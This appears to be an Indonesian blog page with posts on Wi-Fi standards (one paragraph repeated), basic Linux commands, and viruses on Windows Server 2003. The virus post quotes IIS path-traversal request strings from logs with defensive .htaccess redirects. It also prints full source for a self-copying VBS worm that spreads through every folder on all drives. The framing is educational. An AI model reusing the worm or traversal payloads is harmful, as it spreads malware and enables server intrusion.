CLICK HERE FOR THOUSANDS OF FREE BLOGGER TEMPLATES »

Thursday, January 22, 2009

Wi-Fi, Jaringan Nirkabel

Saat ini, setiap orang sudah bisa menikmati fasilitas Internet melalui HotSpot. ada yang disebut jaringan nirkabel 802.11g. Kita telah mengetahui dan mengenal tentang Local Area Network (LAN), dimana ia merupakan jaringan yang terbentuk dari gabungan beberapa komputer yang tersambung melalui saluran fisik (kabel). Seiring dengan perkembangan teknologi serta kebutuhan untuk akses jaringan yang mobile (bergerak) yang tidak membutuhkan kabel sebagai media tranmisinya, maka muncullah Wireless Local Area Network (Wireless LAN/WLAN). Pengantar Jaringan Wireless LAN ( Jaringan lokal tanpa kabel Jaringan lokal tanpa kabel atau WLAN adalah suatu jaringan area lokal tanpa kabel dimana media transmisinya menggunakan frekuensi radio (RF) dan infrared (IR), untuk memberi sebuah koneksi jaringan ke seluruh pengguna dalam area disekitarnya. Area jangkauannya dapat berjarak dari ruangan kelas ke seluruh kampus atau dari kantor ke kantor yang lain dan berlainan gedung. Peranti yang umumnya digunakan untuk jaringan WLAN termasuk di dalamnya adalah PC, Laptop, PDA, telepon seluler, dan lain sebagainya. Teknologi WLAN ini memiliki kegunaan yang sangat banyak. Contohnya, pengguna mobile bisa menggunakan telepon seluler mereka untuk mengakses e-mail. Sementara itu para pelancong dengan laptopnya bisa terhubung ke internet ketika mereka sedang di bandara, kafe, kereta api dan tempat publik lainnya. Spesifikasi yang digunakan dalam WLAN adalah 802.11 dari IEEE dimana ini juga sering disebut dengan WiFi (Wireless Fidelity) standar yang berhubungan dengan kecepatan akses data. Ada beberapa jenis spesifikasi dari 802,11 yaitu 802.11b, 802.11g, 802.11a, dan 802.11n seperti yang tertera pada tabel berikut :

Photobucket

IEEE 802.11a adalah sebuah teknologi jaringan nirkabel yang merupakan pengembangan lebih lanjut dari standar IEEE 802.11 yang asli, namun bekerja pada bandwidth 5.8 GHz dengan kecepatan maksimum hingga 54 Mb/s. Metode transmisi yang digunakan adalah Orthogonal Frequency Division Multiplexing (OFDM), yang mengizinkan pentransmisian data secara paralel di dalam sub-frekuensi. Penggunaan OFDM memiliki keunggulan resistansi terhadap interferensi dengan gelombang lain, dan tentunya peningkatan throughput. Standar ini selesai diratifikasi pada tahun 1999. IEEE 802.11b merupakan pengembangan dari standar IEEE 802.11 yang asli, yang bertujuan untuk meningkatkan kecepatan hingga 5.5 Mb/s atau 11 Mb/s tapi tetap menggunakan frekuensi 2.45 GHz. Dikenal juga dengan IEEE 802.11 HR. Pada prakteknya, kecepatan maksimum yang dapat diraih oleh standar IEEE 802.11b mencapai 5.9 Mb/s pada protokol TCP, dan 7.1 Mb/s pada protokol UDP. Metode transmisi yang digunakannya adalah DSSS. IEEE 802.11g adalah sebuah standar jaringan nirkabel yang bekerja pada frekuensi 2,45 GHz dan menggunakan metode modulasi OFDM. 802.11g yang dipublikasikan pada bulan Juni 2003 mampu mencapai kecepatan hingga 54 Mb/s pada pita frekuensi 2,45 GHz, sama seperti halnya IEEE 802.11 biasa dan IEEE 802.11b. Standar ini menggunakan modulasi sinyal OFDM, sehingga lebih resistan terhadap interferensi dari gelombang lainnya. Sejarah Wireless LAN

Photobucket


Pada akhir 1970-an IBM mengeluarkan hasil percobaan mereka dalam merancang WLAN dengan teknologi IR, perusahaan lain seperti Hewlett-Packard (HP) menguji WLAN dengan RF. Kedua perusahaan tersebut hanya mencapai data rate 100 Kbps. Karena tidak memenuhi standar IEEE 802 untuk LAN yaitu 1 Mbps maka produknya tidak dipasarkan. Baru pada tahun 1985, (FCC) menetapkan pita Industrial, Scientific and Medical (ISM band) yaitu 902-928 MHz, 2400-2483.5 MHz dan 5725-5850 MHz yang bersifat tidak terlisensi, sehingga pengembangan WLAN secara komersial memasuki tahapan serius. Barulah pada tahun 1990 WLAN dapat dipasarkan dengan produk yang menggunakan teknik spread spectrum (SS) pada pita ISM, frekuensi terlisensi 18-19 GHz dan teknologi IR dengan data rate >1 Mbps. Pada tahun 1997, sebuah lembaga independen bernama IEEE membuat spesifikasi/standar WLAN pertama yang diberi kode 802.11. Peralatan yang sesuai standar 802.11 dapat bekerja pada frekuensi 2,4GHz, dan kecepatan transfer data (throughput) teoritis maksimal 2Mbps. Pada bulan Juli 1999, IEEE kembali mengeluarkan spesifikasi baru bernama 802.11b. Kecepatan transfer data teoritis maksimal yang dapat dicapai adalah 11 Mbps. Kecepatan tranfer data sebesar ini sebanding dengan Ethernet tradisional (IEEE 802.3 10Mbps atau 10Base-T). Peralatan yang menggunakan standar 802.11b juga bekerja pada frekuensi 2,4Ghz. Salah satu kekurangan peralatan wireless yang bekerja pada frekuensi ini adalah kemungkinan terjadinya interferensi dengan cordless phone, microwave oven, atau peralatan lain yang menggunakan gelombang radio pada frekuensi sama. Pada saat hampir bersamaan, IEEE membuat spesifikasi 802.11a yang menggunakan teknik berbeda. Frekuensi yang digunakan 5Ghz, dan mendukung kecepatan transfer data teoritis maksimal sampai 54Mbps. Gelombang radio yang dipancarkan oleh peralatan 802.11a relatif sukar menembus dinding atau penghalang lainnya. Jarak jangkau gelombang radio relatif lebih pendek dibandingkan 802.11b. Secara teknis, 802.11b tidak kompatibel dengan 802.11a. Namun saat ini cukup banyak pabrik hardware yang membuat peralatan yang mendukung kedua standar tersebut. Pada tahun 2002, IEEE membuat spesifikasi baru yang dapat menggabungkan kelebihan 802.11b dan 802.11a. Spesifikasi yang diberi kode 802.11g ini bekerja pada frekuensi 2,4Ghz dengan kecepatan transfer data teoritis maksimal 54Mbps. Peralatan 802.11g kompatibel dengan 802.11b, sehingga dapat saling dipertukarkan. Misalkan saja sebuah komputer yang menggunakan kartu jaringan 802.11g dapat memanfaatkan access point 802.11b, dan sebaliknya. Pada tahun 2006, 802.11n dikembangkan dengan menggabungkan teknologi 802.11b, 802.11g. Teknologi yang diusung dikenal dengan istilah MIMO (Multiple Input Multiple Output) merupakan teknologi Wi-Fi terbaru. MIMO dibuat berdasarkan spesifikasi Pre-802.11n. Kata ”Pre-” menyatakan “Prestandard versions of 802.11n”. MIMO menawarkan peningkatan throughput, keunggulan reabilitas, dan peningkatan jumlah klien yg terkoneksi. Daya tembus MIMO terhadap penghalang lebih baik, selain itu jangkauannya lebih luas sehingga Anda dapat menempatkan laptop atau klien Wi-Fi sesuka hati. Access Point MIMO dapat menjangkau berbagai perlatan Wi-Fi yg ada disetiap sudut ruangan. Secara teknis MIMO lebih unggul dibandingkan saudara tuanya 802.11a/b/g. Access Point MIMO dapat mengenali gelombang radio yang dipancarkan oleh adapter Wi-Fi 802.11a/b/g. MIMO mendukung kompatibilitas mundur dengan 802.11 a/b/g. Peralatan Wi-Fi MIMO dapat menghasilkan kecepatan transfer data sebesar 108Mbps. Pada saat hampir bersamaan, IEEE membuat spesifikasi 802.11a yang menggunakan teknik berbeda. Frekuensi yang digunakan 5Ghz, dan mendukung kecepatan transfer data teoritis maksimal sampai 54Mbps. Gelombang radio yang dipancarkan oleh peralatan 802.11a relatif sukar menembus dinding atau penghalang lainnya. Jarak jangkau gelombang radio relatif lebih pendek dibandingkan 802.11b. Secara teknis, 802.11b tidak kompatibel dengan 802.11a. Namun saat ini cukup banyak pabrik hardware yang membuat peralatan yang mendukung kedua standar tersebut. Pada tahun 2002, IEEE membuat spesifikasi baru yang dapat menggabungkan kelebihan 802.11b dan 802.11a. Spesifikasi yang diberi kode 802.11g ini bekerja pada frekuensi 2,4Ghz dengan kecepatan transfer data teoritis maksimal 54Mbps. Peralatan 802.11g kompatibel dengan 802.11b, sehingga dapat saling dipertukarkan. Misalkan saja sebuah komputer yang menggunakan kartu jaringan 802.11g dapat memanfaatkan access point 802.11b, dan sebaliknya. Pada tahun 2006, 802.11n dikembangkan dengan menggabungkan teknologi 802.11b, 802.11g. Teknologi yang diusung dikenal dengan istilah MIMO (Multiple Input Multiple Output) merupakan teknologi Wi-Fi terbaru. MIMO dibuat berdasarkan spesifikasi Pre-802.11n. Kata ”Pre-” menyatakan “Prestandard versions of 802.11n”. MIMO menawarkan peningkatan throughput, keunggulan reabilitas, dan peningkatan jumlah klien yg terkoneksi. Daya tembus MIMO terhadap penghalang lebih baik, selain itu jangkauannya lebih luas sehingga Anda dapat menempatkan laptop atau klien Wi-Fi sesuka hati. Access Point MIMO dapat menjangkau berbagai perlatan Wi-Fi yg ada disetiap sudut ruangan. Secara teknis MIMO lebih unggul dibandingkan saudara tuanya 802.11a/b/g. Access Point MIMO dapat mengenali gelombang radio yang dipancarkan oleh adapter Wi-Fi 802.11a/b/g. MIMO mendukung kompatibilitas mundur dengan 802.11 a/b/g. Peralatan Wi-Fi MIMO dapat menghasilkan kecepatan transfer data sebesar 108Mbp.


Read More...

Perintah pada LINUX

Pada tingkat tertinggi adalah root direktori, /, yang hanya mengandung sejumlah file penting seperti:
bin/, boot/, dev/, etc/, home/, lib/, lost+found/, mnt/, proc/, sbin/, tmp/, usr/, dan var/.

/bin & /sbin
Direktori ini menyimpan program-program penting yang digunakan untuk pemeliharaan sistem. Sesuai dengan nama direktorinya, file-file program yang tersimpan didalamnya berupa file binary yang dapat dieksekusi (executable).

Isi direktori /bin umumnya adalah user program seperti:

* login
* Shell (bash, ksh, csh)
* File utility (cp, mv, rm. ln, tar)
* Editor (ed, vi)
* Filesystem utilty (dd, df, mount, umount, sync)
* System utility (uname, hostname, arch)
* GNU utility (gzip, gunzip)

Isi direktori /sbin umumnya adalah program pemeliharaan atau sistem program. Program-program yang disimpan di direktori /sbin ini hanya dapat dieksekusi oleh root. Contohnya adalah sebagai berikut:

* fsck
* fdisk
* mkfs
* shutdown
* lilo
* init

/etc
Direktori ini menyimpan file-file konfigurasi systemwide yang dibutuhkan oleh program-program lainnya. Beberapa file penting di direktori ini misalnya:

* passwd
* shadow
* fstab
* hosts
* motd
* profile
* shells
* services
* lilo.conf

/home
Direktori ini menyimpan direktori masing-masing user yang ada di sistem termasuk HTTPD. Beberapa sistem Linux menyimpan home user root di direktori ini sebagai /home/root tapi ada juga yang menyimpan direktori home user root di direktori / atau root direktori.

/mnt
Umumnya direktori ini didalamnya mengandung subdirektori-subdirektori yang merupakan sebuah mount point untuk jenis device tertentu. Misalnya cdrom/, floppy/, atau zip/.

/tmp & /var
Direktori /tmp untuk menampung file-file sementara(temporary) dan /var menampung varying content atau macam-macam file. Direktori /tmp biasanya juga dimanfaatkan oleh program instalasi saat kita mengintalasi program atau aplikasi. Isi direktori ini bisa saja dihapus setiap saat tanpa menimbulkan penagaruh apapun.
Direktori /var memiliki isi yang lebih banyak dari /tmp dan biasanya isinya adalah seperti ini:
catman/, lib/, local/, lock/, log/, nis/, preserve/, run/, spool/ dan tmp/.
Direktori /var/log merupakan direktori yang sangat familiar bagi setiap user. Di dalamnya disimpan pesan-pesan yang dihasilkan oleh sistem. Berikut ini isi direktori /var/log di komputer saya:
httpd/, boot.log, cron, dmesg, htmlaccess.log, lastlog, maillog, messages, netconf.log, secure,
sendmail.st, spooler, wtmp. File-file pesan tersebut sangat berguna bagi kita untuk mendiagnosis masalah atau kesalahan sistem. Bagi yang tidak berpengalaman dalam menangani masalah sistem, isi file-file pesan tersebut bisa disertakan bila kita minta bantuan orang lain atau di forum milis.

/usr
Berisi semua program dan file yang secara langsung berhubungan dengan setiap user dalam sistem. Misalnya di komputer saya isinya adalah sebagai berikut:
~X11, X11R6/, ~X386, bin/, dict/, doc/, etc/, games/, i386-redhat-linux/, i486-linux-libc5/, i486-linuxaout/, include/, info/, lib/, libexec/, local/, man/, sbin/, share/, src/, ~tmp. Direktori /usr/bin dan /usr/sbin menyimpan banyak sekali file executable. File-file executable yang disimpan di direktori ini memiliki kesamaan fungsi dan jenis dengan file-file di direktori /bin dan /sbin.
Direktori /usr/X11 dan /usr/X11R6 dan subdirektori dibawahnya berisi semua file yang berhubungan dengan X Window seperti man page, library dan file executable.

Kembali ke awal...

13.2. Command Line

Seperti halnya bila kita mengetikkan perintah di DOS, command line atau baris perintah di Linux juga diketikkan di prompt dan diakhiri enter untuk mengeksekusi perintah tersebut. Baris perintah merupakan cara yang lebih efisien untuk melakukan sesuatu pekerjaan oleh karena itu pemakai Linux tetap mengandalkan cara ini untuk bekerja. Sebaiknya pemula juga harus mengetahui dan sedikitnya pernah menggunanakan perintah baris ini karena suatu saat pengetahuan akan perintah-perintah ini bisa sangat diperlukan.
Saya mengumpulkan beberapa perintah dasar yang mungkin kelak akan sering digunakan terutama oleh para pemula. Perhatian: pengetahuan akan perintah-perintah yang lain akan segera bertambah seiring dengan kemajuan Anda menguasai sistem operasi Linux ini.
Penjelasan masing-masing perintah akan dipersingkat saja dan untuk mengetahui lebih detail lagi fungsi-fungsi suatu perintah, Anda dapat melihat manualnya, misalnya dengan mengetikkan perintah man:
$ man ls
Manual tersebut akan menampilkan bagaimana cara penggunaan perintah ls itu secara lengkap.

Daftar Perintah Menurut Alfabet

[&] [adduser] [alias] [bg] [cat] [cd] [chgrp] [chmod] [chown]

[cp] [fg] [find] [grep] [gzip] [halt] [hostname] [kill] [less] [login]

[logout] [ls] [man] [mesg] [mkdir] [more] [mount] [mv]

[passwd] [pwd] [rm] [rmdir] [shutdown] [su] [tail] [talk] [tar]

[umount] [unalias] [unzip] [wall] [who] [xhost +] [xset] [zip]

&
Perintah & dipakai dibelakang perintah lain dan menjalankannya di background. Tujuannya adalah untuk membebaskan shell agar bisa dipergunakan menjalankan proses-proses yang lain. Lihat juga perintah bg dan fg.

adduser
Biasanya hanya dilakukan oleh root untuk menambahkan user atau account yg baru. Setelah perintah ini bisa dilanjutkan dengan perintah passwd, yaitu perintah untuk membuat password bagi user tersebut.
# adduser udin
# passwd udin
Selanjutnya Anda akan diminta memasukkan password untuk user udin. Isikan password untuk udin dua kali dengan kata yang sama.

alias
Digunakan untuk memberi nama lain dari sebuah perintah. Misalnya bila Anda ingin perintah ls dapat juga dijalankan dengan mengetikkan perintah dir, maka buatlah aliasnya sbb:
$ alias dir=ls
Untuk melihat perintah-perintah apa saja yang mempunyai nama lain saat itu, cukup ketikkan alias. Lihat juga perintah unalias.

bg
Untuk memaksa sebuah proses yang dihentikan sementara(suspend) agar berjalan di background. Misalnya Anda sedang menjalankan sebuah perintah di foreground (tanpa diakhiri perintah &) dan suatu saat Anda membutuhkan shell tersebut maka Anda dapat memberhentikan sementara perintah tersebut dengan Ctrl-Z kemudian ketikan perintah bg untuk menjalakannya di background. Dengan cara ini Anda telah membebaskan shell tapi tetap mempertahankan perintah lama berjalan di background. Lihat juga perintah fg.

cat
Menampilkan isi dari sebuah file di layar.
$ cat namafile

cd
Change Directory atau untuk berpindah direktori dan saya kira Anda tidak akan menemui kesulitan menggunakan perintah ini karena cara penggunaanya mirip dengan perintah cd di DOS.

chgrp
Perintah ini digunakan untuk merubah kepemilikan kelompok file atau direktori. Misalnya untuk memberi ijin pada kelompok atau grup agar dapat mengakses suatu file. Sintaks penulisannya adalah sbb:
# chgrp

chmod
Digunakan untuk menambah dan mengurangi ijin pemakai untuk mengakses file atau direktori. Anda dapat menggunakan sistem numeric coding atau sistem letter coding. Ada tiga jenis permission/perijinan yang dapat dirubah yaitu r untuk read, w untuk write dan x untuk execute.
Dengan menggunakan letter coding, Anda dapat merubah permission diatas untuk masing-masing u (user), g (group), o (other) dan a (all) dengan hanya memberi tanda plus (+) untuk menambah ijin dan tanda minus (-) untuk mencabut ijin.
Misalnya untuk memberikan ijin baca dan eksekusi file coba1 kepada owner dan group, perintahnya adalah:
$ chmod ug+rx coba1
Untuk mencabut ijin-ijin tersebut:
$ chmod ug-rx coba1
Dengan menggunakan sitem numeric coding, permission untuk user, group dan other ditentukan dengan menggunakan kombinasi angka-angka, 4, 2 dan 1 dimana 4 (read), 2 (write) dan 1 (execute).
Misalnya untuk memberikan ijin baca(4), tulis(2) dan eksekusi(1) file coba2 kepada owner, perintahnya adalah:
$ chmod 700 coba2
Contoh lain, untuk memberi ijin baca(4) dan tulis(2) file coba3 kepada user, baca(4) saja kepada group dan other, perintahnya adalah:
$ chmod 644 coba3

chown
Merubah user ID (owner) sebuah file atau direktori
$ chown

cp
Untuk menyalin file atau copy. Misalnya untuk menyalin file1 menjadi file2:
$ cp

fg
Mengembalikan suatu proses yang dihentikan sementar(suspend) agar berjalan kembali di foreground. Lihat juga perintah bg diatas.

find
Untuk menemukan dimana letak sebuah file. Perintah ini akan mencari file sesuai dengan kriteria yang Anda tentukan. Sintaksnya adalah perintah itu sendiri diikuti dengan nama direktori awal pencarian, kemudian nama file (bisa menggunakan wildcard, metacharacters) dan terakhir menentukan bagaimana hasil pencarian itu akan ditampilkan. Misalnya akan dicari semua file yang berakhiran .doc di current direktori serta tampilkan hasilnya di layar:
$ find . -name *.doc -print
. /public/docs/account.doc
. /public/docs/balance.doc
. /public/docs/statistik/prospek.doc
./public/docs/statistik/presconf.doc

grep
Global regular expresion parse atau grep adalah perintah untuk mencari file-file yang mengandung teks dengan kriteria yang telah Anda tentukan.
$ grep
Misalnya akan dicari file-file yang mengandung teks marginal di current direktori:
$ grep marginal
diferent.doc: Catatan: perkataan marginal luas dipergunakan di dalam ilmu ekonomi
prob.rtf: oleh fungsi hasil marginal dan fungsi biaya marginal jika fungsi
prob.rtf: jika biaya marginal dan hasil marginal diketahui maka biaya total

gzip
Ini adalah software kompresi zip versi GNU, fungsinya untuk mengkompresi sebuah file. Sintaksnya sangat sederhana:
$ gzip
Walaupun demikian Anda bisa memberikan parameter tertentu bila memerlukan kompresi file yang lebih baik, silakan melihat manual page-nya. Lihat juga file tar, unzip dan zip.

halt
Perintah ini hanya bisa dijalankan oleh super user atau Anda harus login sebagai root. Perintah ini untuk memberitahu kernel supaya mematikan sistem atau shutdown.

hostname
Untuk menampilkan host atau domain name sistem dan bisa pula digunakan untuk mengesset nama host sistem.
[flory@localhost docs] $ hostname
localhost.localdomain

kill
Perintah ini akan mengirimkan sinyal ke sebuah proses yang kita tentukan. Tujuannya adalah menghentikan proses.
$ kill
PID adalah nomor proses yang akan di hentikan.

less
Fungsinya seperti perintah more.

login
Untuk masuk ke sistem dengan memasukkan login ID atau dapat juga digunakan untuk berpindah dari user satu ke user lainnya.

logout
Untuk keluar dari sistem.

ls
Menampilkan isi dari sebuah direktori seperti perintah dir di DOS. Anda dapat menggunakan beberapa option yang disediakan untuk mengatur tampilannya di layar. Bila Anda menjalankan perintah ini tanpa option maka akan ditampilkan seluruh file nonhidden(file tanpa awalan tanda titik) secara alfabet dan secara melebar mengisi kolom layar. Option -la artinya menampilkan seluruh file/all termasuk file hidden(file dengan awalan tanda titik) dengan format panjang.

man
Untuk menampilkan manual page atau teks yang menjelaskan secara detail bagaimana cara penggunaan sebuah perintah. Perintah ini berguna sekali bila sewaktu-waktu Anda lupa atau tidak mengetahui fungsi dan cara menggunakan sebuah perintah.
$ man

mesg
Perintah ini digunakan oleh user untuk memberikan ijin user lain menampilkan pesan dilayar terminal. Misalnya mesg Anda dalam posisi y maka user lain bisa menampilkan pesan di layar Anda dengan write atau talk.
$ mesg y atau mesg n
Gunakan mesg n bila Anda tidak ingin diganggu dengan tampilan pesan-pesan dari user lain.

mkdir
Membuat direktori baru, sama dengan perintah md di DOS.

more
Mempaging halaman, seperti halnya less

mount
Perintah ini akan me-mount filesystem ke suatu direktori atau mount-point yang telah ditentukan. Hanya superuser yang bisa menjalankan perintah ini. Untuk melihat filesystem apa saja beserta mount-pointnya saat itu, ketikkan perintah mount. Perintah ini dapat Anda pelajari di bab mengenai filesystem. Lihat juga perintah umount.
$ mount
/dev/hda3 on / type ext2 (rw)
none on /proc type proc (rw)
/dev/hda1 on /dos type vfat (rw)
/dev/hda4 on /usr type ext2 (rw)
none on /dev/pts type devpts (rw,mode=0622)

mv
Untuk memindahkan file dari satu lokasi ke lokasi yang lain. Bila argumen yang kedua berupa sebuah direktori maka mv akan memindahkan file ke direktori tersebut. Bila kedua argumen berupa file maka nama file pertama akan menimpa file kedua. Akan terjadi kesalahan bila Anda memasukkan lebih dari dua argumen kecuali argumen terakhir berupa sebuah direktori.

passwd
Digunakan untuk mengganti password. Anda akan selalu diminta mengisikan password lama dan selanjutnya akan diminta mengisikan password baru sebanyak dua kali. Password sedikitnya terdiri dari enam karakter dan sedikitnya mengandung sebuah karakter.

pwd
Menampilkan nama direktori dimana Anda saat itu sedang berada.

rm
Untuk menghapus file dan secara default rm tidak menghapus direktori. Gunakan secara hati-hati perintah ini terutama dengan option -r yang secara rekursif dapat mengapus seluruh file.

rmdir
Untuk menghapus direktori kosong.

shutdown
Perintah ini untuk mematikan sistem, seperti perintah halt. Pada beberapa sistem Anda bisa menghentikan komputer dengan perintah shutdown -h now dan merestart sistem dengan perintah shutdown -r now atau dengan kombinasi tombol Ctr-Alt-Del.

su
Untuk login sementara sebagai user lain. Bila user ID tidak disertakan maka komputer menganggap Anda ingin login sementara sebagai super user atau root. Bila Anda bukan root dan user lain itu memiliki password maka Anda harus memasukkan passwordnya dengan benar. Tapi bila Anda adalah root maka Anda dapat login sebagai user lain tanpa perlu mengetahui password user tersebut.

tail
Menampilkan 10 baris terakhir dari suatu file. Default baris yang ditampilkan adalah 10 tapi Anda bisa menentukan sendiri berapa baris yang ingin ditampilkan:
$ tail

talk
Untuk mengadakan percakapan melalui terminal. Input dari terminal Anda akan disalin di terminal user lain, begitu sebaliknya.

tar
Menyimpan dan mengekstrak file dari media seperti tape drive atau hard disk. File arsip tersebut sering disebut sebagai file tar. Sintaknya sebagai berikut:
$ tar
Read More...

Thursday, January 8, 2009

Hubungan Winserver 2003 dengan Virus



Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer (terutama pada sistem operasi , seperti sistem operasi berbasis keluarga Windows (Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Servicepack 1, Windows XP Servicepack 2) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer (seperti CPU Time, penggunaan memori) menjadi berkurang secara signifikan.

Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard). 2% lagi menyerang sistim operasi lain seperti FreeBSD, OS/2 IBM, dan Sun Operating System.

Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak antivirus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode untuk menghapus virus tersebut.


Tips: Mengurangi Traffic Web Server Akibat Virus/Worm

Seringkali disebutkan dalam banyak artikel bahwa keamanan web server Microsoft IIS dijadikan bulan-bulanan virus/worm, seperti CodeRed dan Nimda, yang sering mengakibatkan kerusakan yang cukup serius atau fatal. Ada banyak artikel yang menjelaskan bagaimana menutup lubang keamanan dan cara-cara mencegah kerusakan di kemudian hari.

Beberapa web server lain dijadikan alternatif antara lain Apache, yang notabene merupakan web server yang paling banyak digunakan, menurut data Netcraft. Memang dengan menggunakan web server Apache, kerusakan yang diakibatkan oleh virus/worm tersebut bisa ditekan atau bisa dikatakan tidak berdampak langsung. Namun perlu diperhatikan bahwa memang virus/worm tersebut tidak menyerang lubang keamanan, tapi dapat juga mengakibatkan kerusakan atau paling tidak membebani kerja web server.

Hal ini antara lain dengan mebludaknya ukuran log file oleh sampah akibat serangan2 virus/worm. Ada kasus dimana terdapat sekitar 20000 entri dalam log selama 2 hari yang hanya diakibatkan karena aktivitas virus/worm dalam jaringan/Internet.

Web server menjadi sangat sibuk dan berat. Ini terlebih-lebih jika situs yang bersangkutan menggunakan halaman error 404 khusus (not found). Ini berarti setiap ada akses yang diakibatkan oleh virus/worm ke situs tersebut, halaman error 404 akan ditampilkan. Bayangkan jika halaman tersebut berukuran besar. Ini akan menambah traffic web server secara percuma.

Setelah melakukan riset pada log file Apache dan melihat banyaknya akses ke halaman error 404 tersebut (yang ikut menambah traffic web server) yang diakibatkan oleh virus/worm, ada cara untuk mengurangi traffic akibat serangan ini.

Sebagai contoh, di bawah ini diambil dari log file, berisi URL yang sering diakses oleh virus/worm. Nampak jelas bahwa sebetulnya ini dibuat dalam rangka menyerang web server IIS.

/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c/winnt/system32/cmd.exe
/d/winnt/system32/cmd.exe
/scripts/..%2f../winnt/system32/cmd.exe
/scripts/..%c1%9c../winnt/system32/cmd.exe
/scripts/..%%35%63../winnt/system32/cmd.exe
/scripts/ .%%35c../winnt/system32/cmd.exe
/scripts/..%c0%2f../winnt/system32/cmd.exe
/scripts/..%c0%af../winnt/system32/cmd.exe
/MSADC/root.exe

Pada web server Apache ada satu fitur yaitu file .htaccess, yang berperan untuk mengontrol akses ke suatu situs. File ini sangat berguna jika digunakan secara benar, namun bisa berakibat fatal jika ada kesalahan pengisian, antara lain situs tidak dapat diakses sama sekali.

Buat terlebih dahulu file .htaccess (file teks) atau tambahkan script di bawah ini ke dalam file .htaccess jika situs anda sudah terdapat file .htaccess yang terdapat di direktori utama (root) situs anda.

redirect /scripts http://www.to.the.black.hole
redirect /MSOffice http://www.to.the.black.hole
redirect /_vti_bin http://www.to.the.black.hole
redirect /MSADC http://www.to.the.black.hole
redirect /msadc http://www.to.the.black.hole
redirect /_mem_bin http://www.to.the.black.hole

Script ini akan mencegah web server mengembalikan halaman error 404 dan menambahkan entry ke log file dengan cara membelokkan akses ke URL tertentu yang sebetulnya tidak valid. Dengan demikian traffic web server dapat diminimalkan yang berdampak beban web server menjadi lebih ringan.

APA ITU VIRUS?



Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak ( misalnya : dengan merusak data pada dokumen ), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

Virus komputer umumnya dapat merusak perangkat lunak ( Software ) komputer dan tidak dapat secara langsung merusak perangkat keras ( Hardware ) komputer terutama pada sistem operasi , seperti sistem operasi berbasis Microsoft Windows ( Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Service Pack 1, Windows XP Service Pack 2 ) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer ( seperti : CPU Time, penggunaan memori ) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard), 2% lagi menyerang sistim operasi Unix, seperti : FreeBSD dan Sun Solaris.

Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak Anti Virus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data ( Database ) virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode program untuk menghapus virus tersebut.

Untuk mengetahui sejarah adanya virus komputer, kamu dapat membaca di Sejarah Perkembangan Malware Dunia ( Jadi ngga cuma di sekolah aja belajar sejarah ya! ;) ). Selain itu, untuk lebih memahami virus-virus lokal seperti : Brontok dan variannya, kamu bisa membacanya di sini. Beberapa triks untuk mengatasi serangan virus, dapat dilihat juga di tutorial cara mengatasi virus.

Supaya tahu lebih jauh tentang virus komputer, virus komputer dapat dibuat dengan bahasa pemrograman komputer, seperti : Visual Basic, Visual C++, VBS, JS, DOS Command, dan bahasa pemrograman lainnya. Sebagai contoh source code virus sederhana dengan menggunakan VBS, dapat dilihat pada Virus Readme dengan source code berikut :

‘VOVAN//SMF Readme.a

Set A=CreateObject(”Scripting.FileSystemObject”)
Set B=CreateObject(”WScript.Shell”)
B.RegWrite “HKEY_CLASSES_ROOT\VBSFile\DefaultIcon”,”shell32.dll,-152″
Set C=A.Drives
For Each Drive In C
If Drive.DriveType=2 Or Drive.DriveType=3 Then Onward Drive.Path &”\”
Next
Function Onward(D)
Set E=A.GetFolder(D)
Set F=E.SubFolders
For Each G In F
A.CopyFile Wscript.ScriptFullName, G&”\Readme.vbs”
Onward(G)
Next
End Function

Dengan demikian, dapat diketahui bahwa virus komputer merupakan kode program yang disalahgunakan oleh programmer pembuat-nya, baik untuk kepentingan pribadi maupun untuk kepentingan lainnya, sehingga menimbulkan keresahan bagi pengguna komputer lain. Nah kalau begitu, kesimpulannya kembali ke tanggung jawab moral masing-masing dech! ;)



Read More...

Troubleshooting Windows 2003 Server



1. Update menyebabkan crash
Windows-patch yang cacat atau rusak menyebabkan bluescreen. Biasanya keterangannya dimulai dengan kata-kata 'STOP: 0x800….' yang membingungkan. Di sini tool gratis 'Qfecheck' dari Microsoft dapat membantu. Ia dapat mengidentifikasi penyebabnya dan menunjukkan sebuah artikel dalam Microsoft Knowledge Base yang menjelaskan bug tersebut secara rinci.




